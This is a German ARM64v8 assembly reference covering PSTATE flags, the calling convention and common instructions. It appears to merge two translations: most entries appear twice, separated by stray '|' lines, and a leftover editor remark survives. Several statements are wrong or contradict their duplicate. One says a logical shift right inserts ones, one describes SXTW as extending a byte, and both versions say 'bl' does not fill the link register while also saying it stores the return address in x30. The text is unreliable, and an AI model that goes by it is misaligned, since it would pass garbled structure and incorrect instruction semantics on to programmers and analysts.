- Das **illegal exception**-Zustandsflag (**`IL`**): Es wird verwendet, um zu kennzeichnen, wenn eine privilegierte Software einen ungültigen Ausnahmelevel-Transfer durchführt, dieses Flag wird auf 1 gesetzt und der Prozessor löst eine illegale Zustandsausnahme aus.
|
||||
- Die **`DAIF`**-Flags: Diese Flags ermöglichen es einem privilegierten Programm, bestimmte externe Ausnahmen selektiv zu maskieren.
|
||||
- Wenn **`A`** 1 ist, bedeutet dies, dass **asynchrone Abbrüche** ausgelöst werden. Das **`I`** konfiguriert die Reaktion auf externe Hardware **Interrupts Requests** (IRQs). und das F bezieht sich auf **Fast Interrupt Requests** (FIRs).
|
||||
- Die **Stack-Zeiger-Auswahl**-Flags (**`SPS`**): Privilegierte Programme, die in EL1 und höher laufen, können zwischen der Verwendung ihres eigenen Stack-Zeiger-Registers und dem Benutzer-Modell wechseln (z. B. zwischen `SP_EL1` und `EL0`). Dieser Wechsel erfolgt durch Schreiben in das **`SPSel`**-Sonderregister. Dies kann nicht von EL0 aus erfolgen.
|
||||
- Das aktuelle **Registerbreiten-Flag (`nRW`)**: Wenn das Flag den Wert 0 hat, läuft das Programm beim Fortsetzen im AArch64-Ausführungszustand.
|
||||
- Das aktuelle **Exception Level** (**`EL`**): Ein reguläres Programm, das in EL0 läuft, hat den Wert 0.
|
||||
- Das **Single-Stepping**-Flag (**`SS`**): Wird von Debuggern verwendet, um Single-Steps auszuführen, indem das SS-Flag in **`SPSR_ELx`** durch eine Exception auf 1 gesetzt wird. Das Programm führt dann einen Schritt aus und löst eine Single-Step-Exception aus.
|
||||
- Das Flag für den **illegalen Exception-Zustand** (**`IL`**): Es wird verwendet, um zu markieren, wenn Software mit Privilegien einen ungültigen Exception-Level-Transfer durchführt; dieses Flag wird auf 1 gesetzt und der Prozessor löst eine illegal state exception aus.
|
||||
- Die **`DAIF`**-Flags: Diese Flags erlauben einem privilegierten Programm, bestimmte externe Exceptions selektiv zu maskieren.
|
||||
- Wenn **`A`** = 1 bedeutet das, dass **asynchrone Aborts** ausgelöst werden. Das **`I`** konfiguriert die Reaktion auf externe Hardware **Interrupt Requests** (IRQs). Und das **F** bezieht sich auf **Fast Interrupt Requests** (FIRs).
|
||||
- Die Flags zur Auswahl des Stack-Pointers (**`SPS`**): Privilegierte Programme, die in EL1 und höher laufen, können zwischen der Verwendung ihres eigenen Stack-Pointers und dem User-Mode-Stack-Pointer wechseln (z. B. zwischen `SP_EL1` und `EL0`). Dieses Umschalten erfolgt durch Schreiben in das spezielle Register **`SPSel`**. Dies kann nicht von EL0 aus durchgeführt werden.
|
||||
|
||||
## **Aufrufkonvention (ARM64v8)**
|
||||
## **Calling Convention (ARM64v8)**
|
||||
|
||||
Die ARM64-Aufrufkonvention legt fest, dass die **ersten acht Parameter** an eine Funktion in den Registern **`x0` bis `x7`** übergeben werden. **Zusätzliche** Parameter werden auf dem **Stack** übergeben. Der **Rückgabewert** wird im Register **`x0`** oder in **`x1`** zurückgegeben, wenn er **128 Bit lang** ist. Die Register **`x19`** bis **`x30`** und **`sp`** müssen **bewahrt** werden, wenn Funktionsaufrufe erfolgen.
|
||||
Die ARM64-Calling-Convention legt fest, dass die **ersten acht Parameter** einer Funktion in den Registern **`x0` bis `x7`** übergeben werden. **Zusätzliche** Parameter werden auf dem **Stack** übergeben. Der **Rückgabewert** wird in Register **`x0`** zurückgegeben, oder in **`x1`**, wenn er **128 Bit** lang ist. Die Register **`x19`** bis **`x30`** und **`sp`** müssen über Funktionsaufrufe hinweg **erhalten** bleiben.
|
||||
|
||||
Beim Lesen einer Funktion in Assembler sollten Sie nach dem **Funktionsprolog und -epilog** suchen. Der **Prolog** umfasst normalerweise das **Speichern des Frame-Zeigers (`x29`)**, das **Einrichten** eines **neuen Frame-Zeigers** und das **Zuweisen von Stackplatz**. Der **Epilog** umfasst normalerweise das **Wiederherstellen des gespeicherten Frame-Zeigers** und das **Rückkehren** von der Funktion.
|
||||
Beim Lesen einer Funktion in Assembly sollte man auf das **Function Prologue und Epilogue** achten. Das **Prologue** beinhaltet in der Regel das **Sichern des Frame-Pointers (`x29`)**, das **Aufsetzen** eines **neuen Frame-Pointers** und das **Allokieren von Stack-Speicher**. Das **Epilogue** beinhaltet normalerweise das **Wiederherstellen des gespeicherten Frame-Pointers** und das **Zurückkehren** aus der Funktion.
|
||||
|
||||
### Aufrufkonvention in Swift
|
||||
### Calling Convention in Swift
|
||||
|
||||
Swift hat seine eigene **Aufrufkonvention**, die in [**https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64**](https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64) zu finden ist.
|
||||
Swift hat seine eigene **calling convention**, die unter [**https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64**](https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64) zu finden ist.
|
||||
|
||||
## **Häufige Anweisungen (ARM64v8)**
|
||||
## **Common Instructions (ARM64v8)**
|
||||
|
||||
ARM64-Anweisungen haben im Allgemeinen das **Format `opcode dst, src1, src2`**, wobei **`opcode`** die **auszuführende Operation** (wie `add`, `sub`, `mov` usw.) ist, **`dst`** das **Zielregister**, in dem das Ergebnis gespeichert wird, und **`src1`** und **`src2`** die **Quellregister** sind. Sofortwerte können auch anstelle von Quellregistern verwendet werden.
|
||||
ARM64-Instruktionen haben im Allgemeinen das **Format `opcode dst, src1, src2`**, wobei **`opcode`** die auszuführende **Operation** ist (wie `add`, `sub`, `mov` usw.), **`dst`** das **Zielregister** ist, in das das Ergebnis geschrieben wird, und **`src1`** und **`src2`** die **Quellregister** sind. Immediate-Werte können ebenfalls anstelle von Quellregistern verwendet werden.
|
||||
|
||||
- **`mov`**: **Bewege** einen Wert von einem **Register** in ein anderes.
|
||||
- Beispiel: `mov x0, x1` — Dies bewegt den Wert von `x1` nach `x0`.
|
||||
- **`ldr`**: **Lade** einen Wert aus dem **Speicher** in ein **Register**.
|
||||
- Beispiel: `ldr x0, [x1]` — Dies lädt einen Wert von der Speicheradresse, die von `x1` angegeben wird, in `x0`.
|
||||
- **Offset-Modus**: Ein Offset, der den ursprünglichen Zeiger beeinflusst, wird angegeben, zum Beispiel:
|
||||
- `ldr x2, [x1, #8]`, dies lädt in x2 den Wert von x1 + 8.
|
||||
- `ldr x2, [x0, x1, lsl #2]`, dies lädt in x2 ein Objekt aus dem Array x0, von der Position x1 (Index) \* 4.
|
||||
- **Pre-indexierter Modus**: Dies wendet Berechnungen auf den Ursprung an, erhält das Ergebnis und speichert auch den neuen Ursprung im Ursprung.
|
||||
- `ldr x2, [x1, #8]!`, dies lädt `x1 + 8` in `x2` und speichert das Ergebnis in x1.
|
||||
- `str lr, [sp, #-4]!`, speichert das Link-Register in sp und aktualisiert das Register sp.
|
||||
- **Post-indexierter Modus**: Dies ist wie der vorherige, aber die Speicheradresse wird zuerst aufgerufen und dann wird der Offset berechnet und gespeichert.
|
||||
- `ldr x0, [x1], #8`, lädt `x1` in `x0` und aktualisiert x1 mit `x1 + 8`.
|
||||
- **PC-relative Adressierung**: In diesem Fall wird die Adresse, die geladen werden soll, relativ zum PC-Register berechnet.
|
||||
- `ldr x1, =_start`, dies lädt die Adresse, an der das `_start`-Symbol beginnt, in x1, bezogen auf den aktuellen PC.
|
||||
- **`str`**: **Speichere** einen Wert von einem **Register** in den **Speicher**.
|
||||
- Beispiel: `str x0, [x1]` — Dies speichert den Wert in `x0` an der Speicheradresse, die von `x1` angegeben wird.
|
||||
- **`ldp`**: **Lade ein Paar von Registern**. Diese Anweisung **lädt zwei Register** aus **aufeinanderfolgenden Speicher**-Standorten. Die Speicheradresse wird typischerweise gebildet, indem ein Offset zum Wert in einem anderen Register addiert wird.
|
||||
- Beispiel: `ldp x0, x1, [x2]` — Dies lädt `x0` und `x1` von den Speicheradressen bei `x2` und `x2 + 8`.
|
||||
- **`stp`**: **Speichere ein Paar von Registern**. Diese Anweisung **speichert zwei Register** in **aufeinanderfolgende Speicher**-Standorte. Die Speicheradresse wird typischerweise gebildet, indem ein Offset zum Wert in einem anderen Register addiert wird.
|
||||
- Beispiel: `stp x0, x1, [sp]` — Dies speichert `x0` und `x1` an den Speicheradressen bei `sp` und `sp + 8`.
|
||||
- `stp x0, x1, [sp, #16]!` — Dies speichert `x0` und `x1` an den Speicheradressen bei `sp+16` und `sp + 24` und aktualisiert `sp` mit `sp+16`.
|
||||
- **`add`**: **Addiere** die Werte von zwei Registern und speichere das Ergebnis in einem Register.
|
||||
- **`mov`**: **Move** einen Wert von einem **Register** in ein anderes.
|
||||
- Beispiel: `mov x0, x1` — Dies verschiebt den Wert von `x1` nach `x0`.
|
||||
- **`ldr`**: **Load** einen Wert aus dem **Speicher** in ein **Register**.
|
||||
- Beispiel: `ldr x0, [x1]` — Dies lädt einen Wert aus der Speicheradresse, auf die `x1` zeigt, in `x0`.
|
||||
- **Offset mode**: Ein Offset, das den Ursprungspointer beeinflusst, wird angegeben, zum Beispiel:
|
||||
- `ldr x2, [x1, #8]`, dies lädt in x2 den Wert von x1 + 8
|
||||
- `ldr x2, [x0, x1, lsl #2]`, dies lädt in x2 ein Objekt aus dem Array x0, von der Position x1 (Index) * 4
|
||||
- **Pre-indexed mode**: Dies wendet Berechnungen auf den Ursprung an, gibt das Ergebnis zurück und speichert auch den neuen Ursprung.
|
||||
- `ldr x2, [x1, #8]!`, dies lädt `x1 + 8` in `x2` und speichert in x1 das Ergebnis von `x1 + 8`
|
||||
- `str lr, [sp, #-4]!`, Speichert das Link-Register in sp und aktualisiert das Register sp
|
||||
- **Post-index mode**: Dies ist wie das vorherige, aber die Speicheradresse wird zuerst zugegriffen und dann wird das Offset berechnet und gespeichert.
|
||||
- `ldr x0, [x1], #8`, lade `x1` in `x0` und aktualisiere x1 mit `x1 + 8`
|
||||
- **PC-relative addressing**: In diesem Fall wird die zu ladende Adresse relativ zum PC-Register berechnet
|
||||
- `ldr x1, =_start`, Dies lädt die Adresse, an der das Symbol `_start` beginnt, in x1 relativ zum aktuellen PC.
|
||||
- **`str`**: **Store** einen Wert aus einem **Register** in den **Speicher**.
|
||||
- Beispiel: `str x0, [x1]` — Dies speichert den Wert in `x0` an der Speicheradresse, auf die `x1` zeigt.
|
||||
- **`ldp`**: **Load Pair of Registers**. Diese Instruktion **lädt zwei Register** aus **aufeinandergestimmten Speicheradressen**. Die Speicheradresse wird typischerweise durch Hinzufügen eines Offsets zu einem anderen Register gebildet.
|
||||
- Beispiel: `ldp x0, x1, [x2]` — Dies lädt `x0` und `x1` aus den Speicheradressen bei `x2` bzw. `x2 + 8`.
|
||||
- **`stp`**: **Store Pair of Registers**. Diese Instruktion **schreibt zwei Register** in **aufeinanderfolgende Speicheradressen**. Die Speicheradresse wird typischerweise durch Hinzufügen eines Offsets zu einem anderen Register gebildet.
|
||||
- Beispiel: `stp x0, x1, [sp]` — Dies speichert `x0` und `x1` an den Speicherstellen `sp` bzw. `sp + 8`.
|
||||
- `stp x0, x1, [sp, #16]!` — Dies speichert `x0` und `x1` an `sp+16` und `sp+24` und aktualisiert `sp` auf `sp+16`.
|
||||
- **`add`**: **Addiert** die Werte zweier Register und speichert das Ergebnis in einem Register.
|
||||
- Syntax: add(s) Xn1, Xn2, Xn3 | #imm, \[shift #N | RRX]
|
||||
- Xn1 -> Ziel
|
||||
- Xn2 -> Operand 1
|
||||
- Xn3 | #imm -> Operand 2 (Register oder sofort)
|
||||
- \[shift #N | RRX] -> Führe eine Verschiebung durch oder rufe RRX auf.
|
||||
- Xn3 | #imm -> Operand 2 (Register oder Immediate)
|
||||
- \[shift #N | RRX] -> Führe eine Verschiebung aus oder rufe RRX auf
|
||||
- Beispiel: `add x0, x1, x2` — Dies addiert die Werte in `x1` und `x2` und speichert das Ergebnis in `x0`.
|
||||
- `add x5, x5, #1, lsl #12` — Dies entspricht 4096 (ein 1-Verschieber 12 Mal) -> 1 0000 0000 0000 0000.
|
||||
- **`adds`** Dies führt ein `add` aus und aktualisiert die Flags.
|
||||
- **`sub`**: **Subtrahiere** die Werte von zwei Registern und speichere das Ergebnis in einem Register.
|
||||
- Überprüfen Sie die **`add`** **Syntax**.
|
||||
- `add x5, x5, #1, lsl #12` — Dies entspricht 4096 (eine 1 um 12 Stellen verschoben) -> 1 0000 0000 0000 0000
|
||||
- **`adds`**: Führt ein `add` aus und aktualisiert die Flags.
|
||||
- **`sub`**: **Subtrahiert** die Werte zweier Register und speichert das Ergebnis in einem Register.
|
||||
- Siehe **`add`** **Syntax**.
|
||||
- Beispiel: `sub x0, x1, x2` — Dies subtrahiert den Wert in `x2` von `x1` und speichert das Ergebnis in `x0`.
|
||||
- **`subs`** Dies ist wie sub, aber aktualisiert das Flag.
|
||||
- **`mul`**: **Multipliziere** die Werte von **zwei Registern** und speichere das Ergebnis in einem Register.
|
||||
- **`subs`**: Wie `sub`, aber aktualisiert die Flags.
|
||||
- **`mul`**: **Multipliziert** die Werte von **zwei Registern** und speichert das Ergebnis in einem Register.
|
||||
- Beispiel: `mul x0, x1, x2` — Dies multipliziert die Werte in `x1` und `x2` und speichert das Ergebnis in `x0`.
|
||||
- **`div`**: **Teile** den Wert eines Registers durch ein anderes und speichere das Ergebnis in einem Register.
|
||||
- **`div`**: **Teilt** den Wert eines Registers durch ein anderes und speichert das Ergebnis in einem Register.
|
||||
- Beispiel: `div x0, x1, x2` — Dies teilt den Wert in `x1` durch `x2` und speichert das Ergebnis in `x0`.
|
||||
- **`lsl`**, **`lsr`**, **`asr`**, **`ror`, `rrx`**:
|
||||
- **Logische Verschiebung nach links**: Füge 0en am Ende hinzu, indem die anderen Bits nach vorne verschoben werden (multipliziere mit n-mal 2).
|
||||
- **Logische Verschiebung nach rechts**: Füge 1en am Anfang hinzu, indem die anderen Bits nach hinten verschoben werden (teile durch n-mal 2 in unsigned).
|
||||
- **Arithmetische Verschiebung nach rechts**: Wie **`lsr`**, aber anstelle von 0en, wenn das bedeutendste Bit 1 ist, werden **1en hinzugefügt** (teile durch n-mal 2 in signed).
|
||||
- **Rechtsrotation**: Wie **`lsr`**, aber was von rechts entfernt wird, wird links angehängt.
|
||||
- **Rechtsrotation mit Erweiterung**: Wie **`ror`**, aber mit dem Übertragsflag als "bedeutendstes Bit". Das Übertragsflag wird also auf das Bit 31 verschoben und das entfernte Bit zum Übertragsflag.
|
||||
- **`bfm`**: **Bitfeldverschiebung**, diese Operationen **kopieren Bits `0...n`** von einem Wert und platzieren sie in den Positionen **`m..m+n`**. Die **`#s`** gibt die **linkeste Bitposition** an und **`#r`** die **Rechtsverschiebungsmenge**.
|
||||
- Bitfeldverschiebung: `BFM Xd, Xn, #r`
|
||||
- Signierte Bitfeldverschiebung: `SBFM Xd, Xn, #r, #s`
|
||||
- Unsigned Bitfeldverschiebung: `UBFM Xd, Xn, #r, #s`
|
||||
- **Bitfeld extrahieren und einfügen:** Kopiere ein Bitfeld von einem Register und kopiere es in ein anderes Register.
|
||||
- **`BFI X1, X2, #3, #4`** Füge 4 Bits von X2 vom 3. Bit von X1 ein.
|
||||
- **`BFXIL X1, X2, #3, #4`** Extrahiere von dem 3. Bit von X2 vier Bits und kopiere sie nach X1.
|
||||
- **`SBFIZ X1, X2, #3, #4`** Signerweitere 4 Bits von X2 und füge sie in X1 ein, beginnend bei Bitposition 3, wobei die rechten Bits auf 0 gesetzt werden.
|
||||
- **`SBFX X1, X2, #3, #4`** Extrahiert 4 Bits, die bei Bit 3 von X2 beginnen, signiert sie und platziert das Ergebnis in X1.
|
||||
- **`UBFIZ X1, X2, #3, #4`** Nullerweitere 4 Bits von X2 und füge sie in X1 ein, beginnend bei Bitposition 3, wobei die rechten Bits auf 0 gesetzt werden.
|
||||
- **`UBFX X1, X2, #3, #4`** Extrahiert 4 Bits, die bei Bit 3 von X2 beginnen, und platziert das nullerweiterte Ergebnis in X1.
|
||||
- **Sign Extend To X:** Erweitert das Vorzeichen (oder fügt einfach 0en in der unsigned-Version hinzu) eines Wertes, um Operationen damit durchführen zu können:
|
||||
- **`SXTB X1, W2`** Erweitert das Vorzeichen eines Bytes **von W2 nach X1** (`W2` ist die Hälfte von `X2`), um die 64 Bits zu füllen.
|
||||
- **`SXTH X1, W2`** Erweitert das Vorzeichen einer 16-Bit-Zahl **von W2 nach X1**, um die 64 Bits zu füllen.
|
||||
- **`SXTW X1, W2`** Erweitert das Vorzeichen eines Bytes **von W2 nach X1**, um die 64 Bits zu füllen.
|
||||
- **`UXTB X1, W2`** Fügt 0en (unsigned) zu einem Byte **von W2 nach X1** hinzu, um die 64 Bits zu füllen.
|
||||
- **`extr`:** Extrahiert Bits aus einem angegebenen **Paar von zusammengefügten Registern**.
|
||||
- Beispiel: `EXTR W3, W2, W1, #3` Dies wird **W1+W2 zusammenfügen** und **von Bit 3 von W2 bis Bit 3 von W1** extrahieren und in W3 speichern.
|
||||
- **`cmp`**: **Vergleiche** zwei Register und setze Bedingungsflags. Es ist ein **Alias von `subs`**, der das Zielregister auf das Nullregister setzt. Nützlich, um zu wissen, ob `m == n`.
|
||||
- Es unterstützt die **gleiche Syntax wie `subs`**.
|
||||
- Beispiel: `cmp x0, x1` — Dies vergleicht die Werte in `x0` und `x1` und setzt die Bedingungsflags entsprechend.
|
||||
- **`cmn`**: **Vergleiche negative** Operanden. In diesem Fall ist es ein **Alias von `adds`** und unterstützt die gleiche Syntax. Nützlich, um zu wissen, ob `m == -n`.
|
||||
- **`ccmp`**: Bedingter Vergleich, es ist ein Vergleich, der nur durchgeführt wird, wenn ein vorheriger Vergleich wahr war und speziell die nzcv-Bits setzt.
|
||||
- `cmp x1, x2; ccmp x3, x4, 0, NE; blt _func` -> wenn x1 != x2 und x3 < x4, springe zu func.
|
||||
- Dies liegt daran, dass **`ccmp`** nur ausgeführt wird, wenn der **vorherige `cmp` ein `NE` war**, wenn nicht, werden die Bits `nzcv` auf 0 gesetzt (was den `blt`-Vergleich nicht erfüllt).
|
||||
- Dies kann auch als `ccmn` verwendet werden (gleich, aber negativ, wie `cmp` vs `cmn`).
|
||||
- **`tst`**: Überprüft, ob einer der Werte des Vergleichs beide 1 sind (es funktioniert wie ein ANDS, ohne das Ergebnis irgendwo zu speichern). Es ist nützlich, um ein Register mit einem Wert zu überprüfen und zu sehen, ob eines der Bits des Registers, das im Wert angegeben ist, 1 ist.
|
||||
- Beispiel: `tst X1, #7` Überprüfe, ob eines der letzten 3 Bits von X1 1 ist.
|
||||
- **`teq`**: XOR-Operation, die das Ergebnis verwirft.
|
||||
- **`b`**: Unbedingter Sprung.
|
||||
- Beispiel: `b myFunction`.
|
||||
- Beachten Sie, dass dies das Link-Register nicht mit der Rückgabeadresse füllt (nicht geeignet für Unterprogrammaufrufe, die zurückkehren müssen).
|
||||
- **`bl`**: **Sprung** mit Link, verwendet, um eine **Unterroutine** **aufzurufen**. Speichert die **Rückgabeadresse in `x30`**.
|
||||
- Beispiel: `bl myFunction` — Dies ruft die Funktion `myFunction` auf und speichert die Rückgabeadresse in `x30`.
|
||||
- Beachten Sie, dass dies das Link-Register nicht mit der Rückgabeadresse füllt (nicht geeignet für Unterprogrammaufrufe, die zurückkehren müssen).
|
||||
- **`blr`**: **Sprung** mit Link zu Register, verwendet, um eine **Unterroutine** **aufzurufen**, bei der das Ziel in einem **Register** **angegeben** ist. Speichert die Rückgabeadresse in `x30`.
|
||||
- Beispiel: `blr x1` — Dies ruft die Funktion auf, deren Adresse in `x1` enthalten ist, und speichert die Rückgabeadresse in `x30`.
|
||||
- **`ret`**: **Rückkehr** von der **Unterroutine**, typischerweise unter Verwendung der Adresse in **`x30`**.
|
||||
- Beispiel: `ret` — Dies kehrt von der aktuellen Unterroutine unter Verwendung der Rückgabeadresse in `x30` zurück.
|
||||
- **`b.<cond>`**: Bedingte Sprünge.
|
||||
- **`b.eq`**: **Sprung, wenn gleich**, basierend auf der vorherigen `cmp`-Anweisung.
|
||||
- Beispiel: `b.eq label` — Wenn die vorherige `cmp`-Anweisung zwei gleiche Werte gefunden hat, springt dies zu `label`.
|
||||
- **`b.ne`**: **Sprung, wenn nicht gleich**. Diese Anweisung überprüft die Bedingungsflags (die von einer vorherigen Vergleichsanweisung gesetzt wurden), und wenn die verglichenen Werte nicht gleich waren, springt sie zu einem Label oder einer Adresse.
|
||||
- Beispiel: Nach einer `cmp x0, x1`-Anweisung, `b.ne label` — Wenn die Werte in `x0` und `x1` nicht gleich waren, springt dies zu `label`.
|
||||
- **`cbz`**: **Vergleiche und springe bei Null**. Diese Anweisung vergleicht ein Register mit Null, und wenn sie gleich sind, springt sie zu einem Label oder einer Adresse.
|
||||
- Beispiel: `cbz x0, label` — Wenn der Wert in `x0` null ist, springt dies zu `label`.
|
||||
- **`cbnz`**: **Vergleiche und springe bei Nicht-Null**. Diese Anweisung vergleicht ein Register mit Null, und wenn sie nicht gleich sind, springt sie zu einem Label oder einer Adresse.
|
||||
- Beispiel: `cbnz x0, label` — Wenn der Wert in `x0` nicht null ist, springt dies zu `label`.
|
||||
- **`tbnz`**: Teste Bit und springe bei Nicht-Null.
|
||||
- Beispiel: `tbnz x0, #8, label`.
|
||||
- **`tbz`**: Teste Bit und springe bei Null.
|
||||
- Beispiel: `tbz x0, #8, label`.
|
||||
- **Bedingte Auswahloperationen**: Dies sind Operationen, deren Verhalten je nach den bedingten Bits variiert.
|
||||
- `csel Xd, Xn, Xm, cond` -> `csel X0, X1, X2, EQ` -> Wenn wahr, X0 = X1, wenn falsch, X0 = X2.
|
||||
- `csinc Xd, Xn, Xm, cond` -> Wenn wahr, Xd = Xn, wenn falsch, Xd = Xm + 1.
|
||||
- `cinc Xd, Xn, cond` -> Wenn wahr, Xd = Xn + 1, wenn falsch, Xd = Xn.
|
||||
- `csinv Xd, Xn, Xm, cond` -> Wenn wahr, Xd = Xn, wenn falsch, Xd = NOT(Xm).
|
||||
- `cinv Xd, Xn, cond` -> Wenn wahr, Xd = NOT(Xn), wenn falsch, Xd = Xn.
|
||||
- `csneg Xd, Xn, Xm, cond` -> Wenn wahr, Xd = Xn, wenn falsch, Xd = - Xm.
|
||||
- `cneg Xd, Xn, cond` -> Wenn wahr, Xd = - Xn, wenn falsch, Xd = Xn.
|
||||
- `cset Xd, Xn, Xm, cond` -> Wenn wahr, Xd = 1, wenn falsch, Xd = 0.
|
||||
- `csetm Xd, Xn, Xm, cond` -> Wenn wahr, Xd = \<alle 1>, wenn falsch, Xd = 0.
|
||||
- **`adrp`**: Berechne die **Seitenadresse eines Symbols** und speichere sie in einem Register.
|
||||
- Beispiel: `adrp x0, symbol` — Dies berechnet die Seitenadresse von `symbol` und speichert sie in `x0`.
|
||||
- **`ldrsw`**: **Lade** einen signierten **32-Bit**-Wert aus dem Speicher und **signiere ihn auf 64** Bits.
|
||||
- Beispiel: `ldrsw x0, [x1]` — Dies lädt einen signierten 32-Bit-Wert von der Speicheradresse, die von `x1` angegeben wird, signiert ihn auf 64 Bits und speichert ihn in `x0`.
|
||||
- **`stur`**: **Speichere einen Registerwert an einer Speicheradresse**, unter Verwendung eines Offsets von einem anderen Register.
|
||||
- Beispiel: `stur x0, [x1, #4]` — Dies speichert den Wert in `x0` an der Speicheradresse, die 4 Bytes größer ist als die Adresse, die derzeit in `x1` steht.
|
||||
- **`svc`** : Führe einen **Systemaufruf** aus. Es steht für "Supervisor Call". Wenn der Prozessor diese Anweisung ausführt, **wechselt er vom Benutzermodus in den Kernelmodus** und springt zu einem bestimmten Ort im Speicher, an dem sich der **Systemaufrufbehandlungs**-Code des Kernels befindet.
|
||||
- **Logical shift left**: Fügt am Ende Nullen hinzu und verschiebt die anderen Bits nach vorne (multipliziert mit 2^n).
|
||||
- **Logical shift right**: Fügt am Anfang Nullen hinzu und verschiebt die anderen Bits nach hinten (teilt bei vorzeichenlosen Zahlen durch 2^n).
|
||||
- **Arithmetic shift right**: Wie **`lsr`**, aber statt Nullen hinzuzufügen, werden, wenn das höchstwertige Bit 1 ist, Einsen hinzugefügt (Teilen durch 2^n bei vorzeichenbehafteten Zahlen).
|
||||
- **Rotate right**: Wie **`lsr`**, aber was rechts entfernt wird, wird links wieder angefügt.
|
||||
- **Rotate Right with Extend**: Wie **`ror`**, jedoch mit dem Carry-Flag als "höchstwertiges Bit". Das Carry-Flag wird in Bit 31 verschoben und das entfernte Bit ins Carry-Flag.
|
||||
- **`bfm`**: **Bit Field Move**, diese Operationen **kopieren Bits `0...n`** aus einem Wert und platzieren sie in Positionen **`m..m+n`**. **`#s`** gibt die **linke (höhere) Bitposition** an und **`#r`** die **Rotate-Right-Menge**.
|
||||
- Bitfield move: `BFM Xd, Xn, #r`
|
||||
- Signed Bitfield move: `SBFM Xd, Xn, #r, #s`
|
||||
- Unsigned Bitfield move: `UBFM Xd, Xn, #r, #s`
|
||||
- **Bitfield Extract and Insert:** Kopiert ein Bitfeld aus einem Register und fügt es in ein anderes Register ein.
|
||||
- **`BFI X1, X2, #3, #4`**: Fügt 4 Bits von X2 ab Bit 3 in X1 ein.
|
||||
- **`BFXIL X1, X2, #3, #4`**: Extrahiert ab Bit 3 von X2 vier Bits und kopiert sie nach X1.
|
||||
- **`SBFIZ X1, X2, #3, #4`**: Sign-extendet 4 Bits von X2 und fügt sie in X1 beginnend an Bitposition 3 ein, wobei die rechten Bits auf 0 gesetzt werden.
|
||||
- **`SBFX X1, X2, #3, #4`**: Extrahiert 4 Bits ab Bit 3 von X2, sign-extendet sie und legt das Ergebnis in X1 ab.
|
||||
- **`UBFIZ X1, X2, #3, #4`**: Zero-extendet 4 Bits von X2 und fügt sie in X1 beginnend an Bitposition 3 ein, wobei die rechten Bits auf 0 gesetzt werden.
|
||||
- **`UBFX X1, X2, #3, #4`**: Extrahiert 4 Bits ab Bit 3 von X2 und legt das zero-extendete Ergebnis in X1 ab.
|
||||
- **Sign Extend To X:** Erweitert das Vorzeichen (oder fügt bei der unsigned-Version Nullen hinzu) eines Werts, um Operationen damit durchführen zu können:
|
||||
- **`SXTB X1, W2`**: Erweitert das Vorzeichen eines Bytes **von W2 nach X1** (`W2` ist die untere Hälfte von `X2`) um die 64 Bit zu füllen.
|
||||
- **`SXTH X1, W2`**: Erweitert das Vorzeichen einer 16-Bit-Zahl **von W2 nach X1** um die 64 Bit zu füllen.
|
||||
- **`SXTW X1, W2`**: Erweitert das Vorzeichen eines 32-Bit-Werts **von W2 nach X1** um die 64 Bit zu füllen.
|
||||
- **`UXTB X1, W2`**: Fügt Nullen (unsigned) zu einem Byte **von W2 nach X1** hinzu, um die 64 Bit zu füllen.
|
||||
- **`extr`**: Extrahiert Bits aus einem angegebenen **Paar von konkatenierenden Registern**.
|
||||
- Beispiel: `EXTR W3, W2, W1, #3` Dies wird **W1+W2** konkatenieren und **von Bit 3 von W2 bis Bit 3 von W1** extrahieren und in W3 speichern.
|
||||
- **`cmp`**: **Vergleicht** zwei Register und setzt die Condition-Flags. Es ist ein **Alias von `subs`**, wobei das Zielregister auf das Zero-Register gesetzt wird. Nützlich, um zu prüfen, ob `m == n`.
|
||||
- Es unterstützt dieselbe Syntax wie `subs`.
|
||||
- Beispiel: `cmp x0, x1` — Dies vergleicht die Werte in `x0` und `x1` und setzt entsprechend die Condition-Flags.
|
||||
- **`cmn`**: **Compare negative** Operand. In diesem Fall ist es ein **Alias von `adds`** und unterstützt dieselbe Syntax. Nützlich, um zu prüfen, ob `m == -n`.
|
||||
- **`ccmp`**: Bedingter Vergleich; er wird nur ausgeführt, wenn ein vorheriger Vergleich wahr war, und setzt speziell die nzcv-Bits.
|
||||
- `cmp x1, x2; ccmp x3, x4, 0, NE; blt _func` -> wenn x1 != x2 und x3 < x4, springe zu func
|
||||
- Das liegt daran, dass **`ccmp`** nur ausgeführt wird, wenn der vorherige `cmp` ein `NE` war; wenn nicht, werden die Bits `nzcv` auf 0 gesetzt (was die `blt`-Bedingung nicht erfüllt).
|
||||
- Dies kann auch als `ccmn` verwendet werden (gleiches aber invertiert, wie `cmp` vs `cmn`).
|
||||
- **`tst`**: Prüft, ob irgendeines der Vergleichsbits 1 ist (es funktioniert wie ein ANDS ohne das Ergebnis irgendwo zu speichern). Nützlich, um ein Register mit einem Wert zu prüfen und zu sehen, ob eines der durch den Wert angegebenen Bits gesetzt ist.
|
||||
- Beispiel: `tst X1, #7` Prüft, ob eines der letzten 3 Bits von X1 1 ist.
|
||||
- **`teq`**: XOR-Operation, Ergebnis wird verworfen.
|
||||
- **`b`**: Unbedingter Branch.
|
||||
- Beispiel: `b myFunction`
|
||||
- Beachte, dass dies nicht das Link-Register mit der Rücksprungadresse füllt (nicht geeignet für Subroutinenaufrufe, die zurückkehren müssen).
|
||||
- **`bl`**: **Branch** with link, wird zum **Aufruf** einer **Subroutine** verwendet. Speichert die Rücksprungadresse in **`x30`**.
|
||||
- Beispiel: `bl myFunction` — Ruft die Funktion `myFunction` auf und speichert die Rücksprungadresse in `x30`.
|
||||
- Hinweis: Dies füllt nicht das Link-Register mit der Rücksprungadresse (nicht geeignet für Subroutinenaufrufe, die zurückkehren müssen). [Anmerkung: dieser Satz war im Original doppelt vorhanden; belassen]
|
||||
- **`blr`**: **Branch** with Link to Register, verwendet, um eine Subroutine aufzurufen, deren Ziel in einem Register steht. Speichert die Rücksprungadresse in `x30`.
|
||||
- Beispiel: `blr x1` — Ruft die Funktion auf, deren Adresse in `x1` enthalten ist, und speichert die Rücksprungadresse in `x30`.
|
||||
- **`ret`**: **Return** aus einer Subroutine, typischerweise unter Verwendung der Adresse in **`x30`**.
|
||||
- Beispiel: `ret` — Dies kehrt aus der aktuellen Subroutine unter Verwendung der Rücksprungadresse in `x30` zurück.
|
||||
- **`b.<cond>`**: Bedingte Branches.
|
||||
